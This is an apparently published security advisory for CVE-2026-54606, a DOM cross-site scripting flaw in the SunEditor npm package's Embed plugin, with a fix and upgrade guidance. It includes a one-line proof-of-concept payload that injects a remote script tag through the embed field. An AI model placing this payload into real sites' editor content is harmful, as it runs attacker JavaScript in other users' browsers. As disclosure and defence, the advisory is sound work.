highCVE-2026-54606Aug 26, 2026

CVE-2026-54606: suneditor Embed Plugin DOM XSS via External Script Element

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted embed payload in SunEditor's Embed plugin lets an attacker append a remote script tag to the live DOM, executing arbitrary JavaScript in any user's browser that opens or previews the saved…

Packagesuneditor
Ecosystemnpm
Affected<= 3.1.3
Fixed in3.1.4
CVE-2026-54606: suneditor Embed Plugin DOM XSS via External Script Element

The problem

SunEditor's Embed plugin (versions <= 3.1.3) processes raw embed HTML submitted through the Embed modal. It iterates child nodes of the parsed HTML and, when it finds a <script> element, creates a brand-new script element using the attacker-supplied src attribute and later appends it to the DOM.

Because the browser treats a freshly created and appended <script> as a new resource request, the external script executes immediately. No special encoding or obfuscation is needed. If the editor content is stored in a backend and later reopened by any user, the impact escalates to stored XSS.

Proof of concept

A working proof-of-concept for CVE-2026-54606 in suneditor, with the exact payload below.

html
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>

The vulnerable code path parses the raw embed string with DOMParser, walks the resulting children, and on hitting a <script> node calls dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null) before appending it to the cover element.

The key flaw is that the src value is taken directly from attacker-controlled input with no allowlist check, and a newly created script element (unlike an existing one moved in the DOM) always triggers a fresh fetch and execution.

The patch introduced pluginOptions.embed.scriptSrcWhitelist so that external scripts are only recreated when their src matches an explicit developer-defined allowlist. Scripts with a src not on the allowlist are now silently dropped. The minimum safe change is to skip all <script> nodes entirely unless they match a trusted pattern (CWE-79).

The fix

Upgrade suneditor to 3.1.4. If you have legitimate use cases requiring companion scripts (such as Twitter/X embed widgets), configure pluginOptions.embed.scriptSrcWhitelist with a narrow regex allowlist. Do not rely solely on frontend sanitization; always strip or validate <script> elements server-side before storing or re-rendering editor content.

Reporter not attributed.

References: [1][2][3][4][5]

Related research